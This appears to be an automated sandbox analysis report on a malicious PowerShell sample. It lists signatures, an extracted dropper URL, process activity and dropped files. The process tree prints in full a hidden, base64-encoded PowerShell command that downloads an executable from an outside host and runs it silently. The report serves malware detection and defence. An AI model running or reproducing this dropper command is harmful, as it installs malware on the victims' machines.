Analysis

  • max time kernel
    149s
  • max time network
    96s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/05/2026, 20:46

General

  • Target
    trigger.ps1
  • Size 3KB
  • Sample260522-zkk7zagz21
  • SHA256 26a75f3fb33c5c57ec30345dd2abb2118a8c729e0b8b1058a215874da497711a
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://cloudhubz.biz/dl?fid=45

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command $_89d9f9=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2w9W1N5c3RlbS5OZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdOjpUbHMxMjskdT1bVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnYUhSMGNITTZMeTlqYkc5MVpHaDFZbm91WW1sNkwyUnNQMlpwWkQwME5RPT0nKSk7JHQ9Sm9pbi1QYXRoICRlbnY6VEVNUCAoW1N5c3RlbS5JTy5QYXRoXTo6R2V0UmFuZG9tRmlsZU5hbWUoKSk7TmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtUGF0aCAkdCAtRm9yY2V8T3V0LU51bGw7JGY9Sm9pbi1QYXRoICR0ICdDbG91ZE1vZHVsZS5leGUnOyRvaz0wO2ZvcigkaT0wOyRpIC1sdCA1IC1hbmQgLW5vdCAkb2s7JGkrKyl7dHJ5e0ludm9rZS1XZWJSZXF1ZXN0IC1VcmkgJHUgLUhlYWRlcnMgQHsnWC1TaWQnPSdiYzNlOTU0MTNhNzVkYjRkZDFjMDM4YWUnfSAtVXNlckFnZW50ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIzLjAuMC4wIFNhZmFyaS81MzcuMzYnIC1PdXRGaWxlICRmIC1Vc2VCYXNpY1BhcnNpbmcgLVRpbWVvdXRTZWMgNDUwO2lmKFRlc3QtUGF0aCAkZil7JG9rPTF9ZWxzZXtTdGFydC1TbGVlcCAtU2Vjb25kcyAyfX1jYXRjaHtTdGFydC1TbGVlcCAtU2Vjb25kcyAyfX07aWYoLW5vdCAoVGVzdC1QYXRoICRmKSl7ZXhpdH07VW5ibG9jay1GaWxlIC1QYXRoICRmIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlOyRfMjg5MWEyPTA7Zm9yKCRfODVmN2M3PTA7JF84NWY3YzcgLWx0IDMgLWFuZCAtbm90ICRfMjg5MWEyOyRfODVmN2M3Kyspe3RyeXt0cnl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJGYgLVdpbmRvd1N0eWxlIEhpZGRlbiAtRXJyb3JBY3Rpb24gU3RvcH1jYXRjaHtTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkZiAtRXJyb3JBY3Rpb24gU3RvcH07JF8yODkxYTI9MX1jYXRjaHtTdGFydC1TbGVlcCAtU2Vjb25kcyAyfX07'));iex $_89d9f9
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1472

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7113815f01d20c8d2fa86a3b15dc253895250ae7b76b9a9cc317b4e9f351d09f
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_wxevwhrp.f2y.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wxevwhrp.f2y.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1472-13-0x000001491B390000-0x000001491B3A0000-memory.dmp

        memory/1472-14-0x000001491B390000-0x000001491B3A0000-memory.dmp

        memory/1472-22-0x000001491B390000-0x000001491B3A0000-memory.dmp

        memory/1472-23-0x000001491B390000-0x000001491B3A0000-memory.dmp

        memory/1472-24-0x000001491B390000-0x000001491B3A0000-memory.dmp

        memory/1472-25-0x000001491B390000-0x000001491B3A0000-memory.dmp

        memory/1668-9-0x000002C938370000-0x000002C938380000-memory.dmp

        memory/1668-2-0x000002C938400000-0x000002C938422000-memory.dmp

        memory/1668-1-0x000002C938370000-0x000002C938380000-memory.dmp

        memory/1668-0-0x000002C938370000-0x000002C938380000-memory.dmp